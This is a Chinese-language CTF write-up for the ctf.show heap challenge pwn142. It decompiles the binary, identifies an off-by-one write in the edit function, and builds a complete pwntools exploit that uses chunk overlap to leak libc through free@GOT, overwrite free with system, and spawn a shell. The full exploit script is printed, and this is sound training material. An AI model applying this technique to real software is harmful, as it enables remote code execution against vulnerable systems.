ctf.show pwn入门 堆利用-前置基础 pwn142
pwn142(off-by-one和堆块重叠)
pwn142
1.准备
2.ida分析
main函数
int __fastcall main(int argc, const char **argv, const char **envp)
{char buf[4]; // [rsp+4h] [rbp-Ch] BYREFunsigned __int64 v5; // [rsp+8h] [rbp-8h]v5 = __readfsqword(0x28u);init(argc, argv, envp);logo();while ( 1 ){menu();read(0, buf, 4uLL);switch ( atoi(buf) ){case 1:create_heap();break;case 2:edit_heap();break;case 3:show_heap();break;case 4:delete_heap();break;case 5:exit(0);default:puts("Invalid Choice");break;}}
}
就一个堆题正常的菜单,有增删改查功能,依次查看
1-create_heap(add)函数
unsigned __int64 create_heap()
{__int64 v0; // rbxint i; // [rsp+4h] [rbp-2Ch]size_t size; // [rsp+8h] [rbp-28h]char buf[8]; // [rsp+10h] [rbp-20h] BYREFunsigned __int64 v5; // [rsp+18h] [rbp-18h]v5 = __readfsqword(0x28u);for ( i = 0; i <= 9; ++i ){if ( !*((_QWORD *)&heaparray + i) ){*((_QWORD *)&heaparray + i) = malloc(0x10uLL);if ( !*((_QWORD *)&heaparray + i) ){puts("Allocate Error");exit(1);}printf("Size of Heap : ");read(0, buf, 8uLL);size = atoi(buf);v0 = *((_QWORD *)&heaparray + i);*(_QWORD *)(v0 + 8) = malloc(size);if ( !*(_QWORD *)(*((_QWORD *)&heaparray + i) + 8LL) ){puts("Allocate Error");exit(2);}**((_QWORD **)&heaparray + i) = size;printf("Content of heap:");read_input(*(_QWORD *)(*((_QWORD *)&heaparray + i) + 8LL), size);puts("SuccessFul");return __readfsqword(0x28u) ^ v5;}}return __readfsqword(0x28u) ^ v5;
}
这里是添加堆块,在创建时先会创建一个0x10大小的结构块,然后才是我们自定义大小的内容块
4-delete_heap(delete)函数
unsigned __int64 delete_heap()
{int n0xA; // [rsp+0h] [rbp-10h]char buf[4]; // [rsp+4h] [rbp-Ch] BYREFunsigned __int64 v3; // [rsp+8h] [rbp-8h]v3 = __readfsqword(0x28u);printf("Index :");read(0, buf, 4uLL);n0xA = atoi(buf);if ( (unsigned int)n0xA >= 0xA ){puts("Out of bound!");_exit(0);}if ( *((_QWORD *)&heaparray + n0xA) ){free(*(void **)(*((_QWORD *)&heaparray + n0xA) + 8LL));free(*((void **)&heaparray + n0xA));*((_QWORD *)&heaparray + n0xA) = 0LL;puts("Done !");}else{puts("No such heap !");}return __readfsqword(0x28u) ^ v3;
}
这里虽然没把内容块的指针设置为0,但输出函数调用的是结构块的指针,所以不存UAF漏洞
3-show_heap(show)函数
unsigned __int64 show_heap()
{int n0xA; // [rsp+0h] [rbp-10h]char buf[4]; // [rsp+4h] [rbp-Ch] BYREFunsigned __int64 v3; // [rsp+8h] [rbp-8h]v3 = __readfsqword(0x28u);printf("Index :");read(0, buf, 4uLL);n0xA = atoi(buf);if ( (unsigned int)n0xA >= 0xA ){puts("Out of bound!");_exit(0);}if ( *((_QWORD *)&heaparray + n0xA) ){printf("Size : %ld\nContent : %s\n",**((_QWORD **)&heaparray + n0xA),*(const char **)(*((_QWORD *)&heaparray + n0xA) + 8LL));puts("Done !");}else{puts("No such heap !");}return __readfsqword(0x28u) ^ v3;
}
正常的输出
2-edit_heap(edit)函数
unsigned __int64 edit_heap()
{int n0xA; // [rsp+0h] [rbp-10h]char buf[4]; // [rsp+4h] [rbp-Ch] BYREFunsigned __int64 v3; // [rsp+8h] [rbp-8h]v3 = __readfsqword(0x28u);printf("Index :");read(0, buf, 4uLL);n0xA = atoi(buf);if ( (unsigned int)n0xA >= 0xA ){puts("Out of bound!");_exit(0);}if ( *((_QWORD *)&heaparray + n0xA) ){printf("Content of heap : ");read_input(*(void **)(*((_QWORD *)&heaparray + n0xA) + 8LL), **((_QWORD **)&heaparray + n0xA) + 1LL);puts("Done !");}else{puts("No such heap !");}return __readfsqword(0x28u) ^ v3;
}
这里修改堆块数据
关键点是这里
read_input(*(void **)(*((_QWORD *)&heaparray + n0xA) + 8LL), **((_QWORD **)&heaparray + n0xA) + 1LL);
修改写入的字节数比分配的内存多1字节,造成off-by-one
3.EXP
思路:
这题有off-by-one,没有直接的连接点,再结合提示堆块重叠
所以我们可以通过合理的设置,使得一个块的结构块中内容块指针可以写为free_got地址,当我们输出那个块的时候,会输出free函数地址,获得libc基址,进而得到system地址,最后把free地址覆盖为system地址,将free函数的调用重定向到system函数,删除一个内容为'/bin/sh'的堆块,获得连接
先创建三个堆块,前两个用于构造堆块重叠,这里大小要设置为0x18,第三个堆块内容设置为'/bin/sh',留着最后释放
from pwn import *
context.log_level = "debug"
# io=remote('pwn.challenge.ctf.show',28120)
io= process('/home/motaly/pwn142')
elf=ELF('/home/motaly/pwn142')
libc=ELF('/home/motaly/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so')def add(size,content):io.sendlineafter("Your choice :", "1")io.sendlineafter("Size of Heap :", str(size))io.sendlineafter("Content of heap:", content)def delete(index):io.sendlineafter("Your choice :", "4")io.sendlineafter("Index :", str(index))def show(index):io.sendlineafter("Your choice :", "3")io.sendlineafter("Index :", str(index))def edit(index, content):io.sendlineafter('Your choice :','2')io.sendlineafter('Index :',str(index))io.sendafter('Content of heap :',content)add(0x18, b"aaa")
add(0x18, b"bbb")
add(0x18, b"/bin/sh")
大小要设置为0x18的原因:
主要是因为我们的溢出是从0块内容块开始填充到1块的结构块覆盖它的size位
还有一点是下面我们释放重新创建时,因为结构块和内容块大小一致的原因,使得原先1块的内容块,会变成新块的结构块,我们可以进行修改
我们设置为0x18大小,系统会给大概0x20的块,设置为0x10大小,系统也会给大概0x20的块,但如果是0x10大小,只溢出一字节是是改不到目标位置的,是0x18大小,溢出一字节当好是目标位置
我们进行修改
add(0x18, b"aaa")
add(0x18, b"bbb")
add(0x18, b"/bin/sh")edit(0, b'x'*0x18 + p64(0x41))
p64(0x41)是因为结构块也是0x20大小,内容块也是0x20大小,所以总共是0x40大小
修改完进一步查看
0x10大小时
add(0x10, b"aaa")
add(0x10, b"bbb")
add(0x18, b"/bin/sh")edit(0, b'x'*0x18 + p64(0x41))
发现这里是写不到我们的目标位置的
此时我们已经成功通过修改1块结构块的大小,构造了1块结构块与内容块的堆块重叠
接着我们释放1块
add(0x18, b"aaa")
add(0x18, b"bbb")
add(0x18, b"/bin/sh")edit(0, b'x'*0x18 + p64(0x41))delete(1)
系统会释放两个块,一个是0x40(我们修改1块结构块的大小,形成的一个块)和一个0x20(原先1块的内容块,虽然我们改了1块结构块大小,使其扩大到结构块加内容块的大小,但不影响系统识别1块的内容块)
我们这里在创建一个0x30(0x40)大小的堆块,系统就会把0x20块(原先1块的内容块)申请出来当作新块的结构块
0x40块申请出来当作内容块
创建时就可以写入堆块内容,正好新块的结构块,被它的内容块覆盖,所以我们通过填充,修改新块的结构块指针为free_got地址
add(0x18, b"aaa")
add(0x18, b"bbb")
add(0x18, b"/bin/sh")edit(0, b'x'*0x18 + p64(0x41))delete(1)add(0x30, p64(0) * 3 + p64(0x21) + p64(0x18) + p64(elf.got['free']))
p64(0x18)这个值没什么要求,主要是改后面内容块指针为free_got地址
我们输出1块,因为内容块指针是free_got地址,所以会输出free函数地址,获得libc基址,进而得到system地址
add(0x18, b"aaa")
add(0x18, b"bbb")
add(0x18, b"/bin/sh")edit(0, b'x'*0x18 + p64(0x41))delete(1)add(0x30, p64(0) * 3 + p64(0x21) + p64(0x18) + p64(elf.got['free']))show(1)
io.recvuntil(b'Content :')
free_addr = u64(io.recv(7)[-6:].ljust(8, b"\x00"))
# free_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
libc_base = free_addr - libc.sym["free"]
log.success('libc_base :'+hex(libc_base))
system_addr = libc_base + libc.sym["system"]
最后修改1块内容为system地址,因为内容块指针是free_got地址,所以修改的是free函数地址内容,也就达到了把free地址覆盖为system地址,将free函数的调用重定向到system函数的目的
add(0x18, b"aaa")
add(0x18, b"bbb")
add(0x18, b"/bin/sh")edit(0, b'x'*0x18 + p64(0x41))delete(1)add(0x30, p64(0) * 3 + p64(0x21) + p64(0x18) + p64(elf.got['free']))show(1)
io.recvuntil(b'Content :')
free_addr = u64(io.recv(7)[-6:].ljust(8, b"\x00"))
# free_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
libc_base = free_addr - libc.sym["free"]
log.success('libc_base :'+hex(libc_base))
system_addr = libc_base + libc.sym["system"]edit(1, p64(system_addr))
释放原先准备好的2块,触发连接
add(0x18, b"aaa")
add(0x18, b"bbb")
add(0x18, b"/bin/sh")edit(0, b'x'*0x18 + p64(0x41))delete(1)add(0x30, p64(0) * 3 + p64(0x21) + p64(0x18) + p64(elf.got['free']))show(1)
io.recvuntil(b'Content :')
free_addr = u64(io.recv(7)[-6:].ljust(8, b"\x00"))
# free_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
libc_base = free_addr - libc.sym["free"]
log.success('libc_base :'+hex(libc_base))
system_addr = libc_base + libc.sym["system"]edit(1, p64(system_addr))delete(2)
脚本
from pwn import *
context.log_level = "debug"
# io=remote('pwn.challenge.ctf.show',28120)
io= process('/home/motaly/pwn142')
elf=ELF('/home/motaly/pwn142')
libc=ELF('/home/motaly/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so')def add(size,content):io.sendlineafter("Your choice :", "1")io.sendlineafter("Size of Heap :", str(size))io.sendlineafter("Content of heap:", content)def delete(index):io.sendlineafter("Your choice :", "4")io.sendlineafter("Index :", str(index))def show(index):io.sendlineafter("Your choice :", "3")io.sendlineafter("Index :", str(index))def edit(index, content):io.sendlineafter('Your choice :','2')io.sendlineafter('Index :',str(index))io.sendafter('Content of heap :',content)add(0x18, b"aaa")
add(0x18, b"bbb")
add(0x18, b"/bin/sh")edit(0, b'x'*0x18 + p64(0x41))delete(1)add(0x30, p64(0) * 3 + p64(0x21) + p64(0x18) + p64(elf.got['free']))show(1)
io.recvuntil(b'Content :')
free_addr = u64(io.recv(7)[-6:].ljust(8, b"\x00"))
# free_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
libc_base = free_addr - libc.sym["free"]
log.success('libc_base :'+hex(libc_base))
system_addr = libc_base + libc.sym["system"]edit(1, p64(system_addr))delete(2)
io.interactive()